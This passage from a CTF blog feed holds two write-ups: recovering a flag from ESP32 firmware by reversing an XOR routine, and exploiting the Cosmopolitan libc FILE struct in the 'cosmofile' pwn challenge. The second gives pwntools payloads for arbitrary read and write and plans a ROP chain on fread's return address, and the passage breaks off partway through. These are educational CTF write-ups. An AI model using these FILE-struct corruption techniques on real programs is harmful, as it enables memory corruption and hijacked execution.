style=\"color:#111\"\u003eabStack_30\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8504\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_DAT_400d06b0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8438\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eacStack_51\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_s_\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_Essaie_encore_400d06b4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8590\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_s_\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_Longueur_invalide\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_400d06ac\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8590\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eas you can see, it\u0026rsquo;s pretty bad decompilation, one reason for this is that the architecture of the esp32 Xtensa uses 24 or 16 bit instructions sizes which means you need more than one instruction to assgin an address to registers, so what the compiler does is it puts addresses into nearby memory locations so they can be addressed relatively (got this from \u003ca href=\"https://vik0t0r.github.io/posts/ESP32-arduino-RE/#step-4-analysis\"\u003ehere\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eanyway, this program is reading a 0x10 long flag into \u003ccode\u003eacStack_51 + 1\u003c/code\u003e and memcmp\u0026rsquo;ing it with \u003ccode\u003eabStack_30\u003c/code\u003e so we just need to figure out what\u0026rsquo;s in it, i used error messages to figure out what it\u0026rsquo;s doing for example it\u0026rsquo;s trying to print the message \u003ccode\u003ePTR_s_Erreur_de_lecture_400d06a8\u003c/code\u003e which obviously means the function before tries to read input.\u003c/p\u003e\n\u003cp\u003ethe program tries to write the xor of PTR_BYTE_400d06a and PTR_DAT_400d069c into \u003ccode\u003eabStack_30\u003c/code\u003e in here:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar3\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_BYTE_400d06a0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_DAT_400d069c\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eabStack_30\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epuVar3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePTR_BYTE_400d06a0 is constant and PTR_DAT_400d069c is set just above it, first it\u0026rsquo;s set to b\u0026rsquo;FCSCFCSCFCSCFCSC\u0026rsquo; using:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e  for (iVar5 = 0; iVar5 \u0026lt; 4; iVar5 = iVar5 + 1) {\n    iVar4 = iVar5 * 4;\n    puVar2 = PTR_DAT_400d069c;\n    puVar2[iVar5 * 4] = 0x46;\n    puVar2[iVar4 + 1] = 0x43;\n    puVar2[iVar4 + 2] = 0x53;\n    puVar2[iVar4 + 3] = 0x43;\n  }\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ethen the first 12 bytes are overwritten by the call to \u003ccode\u003efunc_0x400d60e4\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003einspecting \u003ccode\u003efunc_0x400d60e4\u003c/code\u003e\nwe see it\u0026rsquo;s decompilation and disassembly:\n\u003cimg\n  src=\"/ecsc2026-extensif/2026-06-26%7c18:07:55.187.png\"\n  alt=\"func_0x400d60e4 decomp\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\nit calls \u003ccode\u003efunc_0x400d60f4\u003c/code\u003e with 0x4a and \u003ccode\u003ePTR_DAT_400d069c\u003c/code\u003e\nhere is the code for \u003ccode\u003efunc_0x400d60f4\u003c/code\u003e\n\u003cimg\n  src=\"/ecsc2026-extensif/2026-06-26%7c18:11:21.474.png\"\n  alt=\"func_0x400d60f4 decomp\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\nit writes the first argument into the first byte of the second argument and it writes the first byte of the return address into the second byte and incremnts the first arg by one and second arg by 2 and keeps calling it self recursively until \u003ccode\u003earg1 \u0026amp; 8 == 0\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003egetting the return addresses is easy, the return address is the address of the instrution after the call instruction, which means:\nfor the first time when it\u0026rsquo;s called by \u003ccode\u003efunc_0x400d60e4\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-assembly\" data-lang=\"assembly\"\u003e      400d60ec 65 00 00      call8     SUB_400d60f4\nhere-\u0026gt;400d60ef 1d f0         retw.n\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ewe can see that it\u0026rsquo;s 0xef\nand for the rest it\u0026rsquo;s 0x08\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-assembly\" data-lang=\"assembly\"\u003e      400d6105 e5 fe ff      call8     SUB_400d60f4\n                         LAB_400d6108                              XREF[1]:   400d60f7(j)  \nhere-\u0026gt;400d6108 1d f0         retw.n\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003enow tracing the execution of this function we can deduce that the final value of \u003ccode\u003ePTR_DAT_400d069c\u003c/code\u003e is: \u003ccode\u003e0x4a,0xef, 0x4b, 0x8, 0x4c, 0x8, 0x4d, 0x8, 0x4e, 0x8, 0x4f, 0x8, 0x46, 0x43, 0x53, 0x43\u003c/code\u003e and the extracted \u003ccode\u003ePTR_BYTE_400d06a0\u003c/code\u003e is: \u003ccode\u003e0x79, 0x8D, 0x2D, 0x3E, 0x2E, 0x6E, 0x79, 0x6D, 0x28, 0x38, 0x2D, 0x38, 0x77, 0x75, 0x60, 0x21\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003enow we can get the final flag using this script:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-py\" data-lang=\"py\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003edata_400d069c\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x4a\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0xef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x4b\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x4c\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x4d\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x4e\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x4f\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x46\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x43\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x53\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x43\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003edata_400d06a0\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x79\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x8D\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2D\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x3E\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2E\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x6E\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x79\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x6D\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x28\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x38\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x2D\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x38\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x77\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x75\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x60\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x21\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003er\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003er\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edata_400d069c\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edata_400d06a0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;FCSC{\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003er\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;}\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eour final flag is : \u003ccode\u003eFCSC{3bf6bf4ef0b0163b}\u003c/code\u003e\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/ecsc2026-extensif/","date_published":"26066-26-09T60:2626:00+00:00","date_modified":"26066-26-09T60:2626:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}},{"id":"7016d54fc70452ab0dfd875c025049abd7ad2875","title":"writeup for pwn/cosmofile chall from l3akctf 2025","summary":"","content_text":"TL;DR this challenge is about exploiting https://github.com/jart/cosmopolitan FILE struct implementation.\nInitial Analysis we are given cosmofile Dockerfile , using checksec on the binary we get:\n[*] \u0026#39;/home/player/ctfs/l3ak/cosmofile/c/cosmofile\u0026#39; Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No Debuginfo: Yes we can see that bsides NX, no security measure is enabled (which is good since we are exploiting it)\nopening the binary in ida we get the following decompilation of the main function:\nint __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[4100]; // [rsp+0h] [rbp-1010h] BYREF int v5; // [rsp+1004h] [rbp-Ch] FILE *f; // [rsp+1008h] [rbp-8h] f = fopen(\u0026#34;/tmp/cosmofile.txt\u0026#34;, \u0026#34;rw+\u0026#34;); setbuf(stdout, 0LL); setbuf(stdin, 0LL); if ( f ) { fwrite(\u0026#34;Here is a secret of the universe:\\n... huh?\\n\u0026#34;, 1uLL, 0x2BuLL, f); fwrite(\u0026#34;It\u0026#39;s not here...\u0026#34;, 1uLL, 0x10uLL, f); fflush(f); rewind(f); while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v5 = read_int(); if ( v5 != (_DWORD)\u0026amp;unk_6E7472 ) break; cosmo_puts(\u0026#34;Whoa whoa whoa... you can\u0026#39;t just hide the secret of the universe like that!\u0026#34;); cosmo_puts(\u0026#34;Just kidding, that\u0026#39;s not really a secret...\u0026#34;); read(0, f, 0x70uLL); } if ( v5 \u0026lt;= (int)\u0026amp;unk_6E7472 ) break; LABEL_12: cosmo_puts(\u0026#34;Invalid choice. Please try again.\u0026#34;); } if ( v5 != 1 ) { if ( v5 == 2 ) { cosmo_print(\u0026#34;Exiting...\\n\u0026#34;); exit(0); } goto LABEL_12; } cosmo_print(\u0026#34;Reading from cosmofile:\\n\u0026#34;); fread(buf, 1uLL, 0x1000uLL, f); cosmo_puts(\u0026#34;Content of cosmofile:\u0026#34;); write(1, buf, 0x1000uLL); cosmo_puts(\u0026#34;\\nNice, now you can see the universe in a different light!\u0026#34;); } } perror(\u0026#34;Failed to open file\u0026#34;); return 1; } it starts by opening a file /tmp/cosmofile.txt and writing some data to it, then it gives us this menu:\n[[ cosmofile ]] 1. Read a secret of the universe 2. Exit \u0026gt; option 1 allows us to read from the file and write the output to stdout and option 2 let’s us exit, but actually there is one more secret option, if ( v5 != (_DWORD)\u0026amp;unk_6E7472 ) if v5 is equal to 7238770 (0x6E7472 in decimal), we can write into the FILE struct.\nExploring the FILE struct implementation: this is a typical FILE struct exploitation ctf chall, where we can write into the FILE struct and we have to exploit it’s inner workings to get arbitrary execution (in this case), it’s just that this is not glibc.\nlooking into the FILE struct definition in ida we see this:\n00000000 struct FILE // sizeof=0x70 00000000 { // XREF: .data:__stdin/r 00000000 // .data:__stdout/r 00000000 char bufmode; 00000001 char freethis; 00000002 char freebuf; 00000003 char forking; 00000004 int oflags; 00000008 int state; 0000000C int fd; 00000010 int pid; 00000014 // padding byte 00000015 // padding byte 00000016 // padding byte 00000017 // padding byte 00000018 unsigned int size; 0000001C unsigned int beg; 00000020 unsigned int end; 00000024 // padding byte 00000025 // padding byte 00000026 // padding byte 00000027 // padding byte 00000028 char *buf; 00000030 pthread_mutex_t lock; 00000058 Dll elem; // XREF: stdin_init:loc_4019BE/o 00000058 // stdout_init+6/o ... 00000068 char *getln; 00000070 }; since there is no function pointers in it we will have to get arb read/write and write into the stack.\nopening the fread function, we see that it claims the lock then, calls fread_unlocked (which is where the logic of fread resides), it’s full decompilation is here.\nGetting arb read: we can see at first it does some checks for overflow / file is readable … etc , then it has this piece of code which can be used to getting arb read:\nv9 = count * (unsigned __int128)stride; // in our case v9 is (0x1000 * 1) = 0x1000 v13 = end - beg; if ( v13 \u0026gt;= (unsigned __int64)v9 ) { nb = v9; memmove(buf, \u0026amp;f-\u0026gt;buf[beg], v9); v32 = f-\u0026gt;beg + nb; f-\u0026gt;beg = v32; if ( v32 == f-\u0026gt;end ) *(_QWORD *)\u0026amp;f-\u0026gt;beg = 0LL; return count; } it checks if end - beg , which is the amount of data available in f-\u0026gt;buf is bigger than how much fread wants, and if it is it just memmove’s the data from the f→buf to the user provided buffer (which will be written to stdout after fread finishes) then it returns, since we can control f→buf, we can get arb read using this.\nhere is a simple pwntools poc for getting arb read, our payload sets buf to the addr we want to read from and makes sure that end - beg is bigger than 0x1000, note that the payload is just the default values of the FILE struct with beg, end, size and addr replaced in, since they are the only values we want to change.\ndef arb_read(addr): sz = 0x1000 beg = 0x0 end = 0x1000 payload = p64(0x0000024200010100)+p64(0x0000000300000000)+p64(0x0000000000000000)\\ +p32(sz)+p32(beg)+p32(end)+p32(0x0)+p64(addr)+p64(0x0)+p64(0x2)+p64(0x0)*3\\ +p64(0x000000000042f338)+ p64(0x000000000042f3d8)+p64(0x0000000000000000) write_to_FILE(payload) return call_fread() Getting arb write: the only way we can get arb write is if fread writes into the FILE struct buf, and that only happens in this part of the function:\nv9 = count * (unsigned __int128)stride; v11 = v9; if ( end != beg ) { na = v11; buf = memmove(buf, \u0026amp;f-\u0026gt;buf[beg], v13); fd = f-\u0026gt;fd; v11 = na; } iov[0].iov_base = (char *)buf + v13; v15 = v11 - v13; iov[0].iov_len = v11 - v13; if ( f-\u0026gt;bufmode == 2 || (size = f-\u0026gt;size, v11 \u0026gt;= size) ) { size = 0LL; v17 = 0LL; } else { v17 = f-\u0026gt;buf; if ( (unsigned int)size \u0026gt; 0xC ) size = (unsigned int)(size - 12); } iov[1].iov_base = v17; iov[1].iov_len = size; v18 = 2; v19 = iov; while ( 2 ) { v35 = v15; v36 = v18; n = (size_t)v19; v20 = readv(fd, v19, v18); we reach this part of the fread functions when f→buf does not have enough data to fulfill the the request of fread, so reads what’s left in f→buf and calls readv to read more data from the file into the user buffer, and in the way it also read’s in f-\u0026gt;buf f-\u0026gt;size-0xc bytes, we can use this in addition to changing the f-\u0026gt;fd to 0 (stdin), so we can get arb write from stdin, here is a simple pwntools poc that shows how it’s done:\ndef get_write(addr, data): sz = 0x1001 // size needs to be strictly bigger than what the user wants beg = 0x0 end = 0x0 payload = p64(0x0000024200010100)+p64(0x0000000000000000)+p64(0x0000000000000000)\\ +p32(sz)+p32(beg)+p32(end)+p32(0x0)+p64(addr)+p64(0x0)+p64(0x2)+p64(0x0)*3\\ +p64(0x000000000042f338)+ p64(0x000000000042f3d8)+p64(0x0000000000000000) write_to_FILE(payload) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, b\u0026#39;1\u0026#39;) // call fread // after this it will read from stdin pay = b\u0026#39;a\u0026#39;*(0x1000) // send 0x1000 bytes for the user buffer pay += data // the rest will be read into f-\u0026gt;buf pay = pay + b\u0026#39;c\u0026#39;*(0x1000+4085-len(pay)) // readv will continue reading until it gets all the bytes it requests, so we add this dummy data p.send(pay) Exploitation: now that we have both arb_read and arb_write, we can just get a stack addr from the binary memory and write into the return address of fread (because we can’t write into the ret of main, since it exits).\nwe can get a stack leak by reading the value at \u0026amp;__argv and then subtract the offset for the return address of fread, after that we just write our rop chain, apparently there are no binaries inside the jail of the docker container, so we 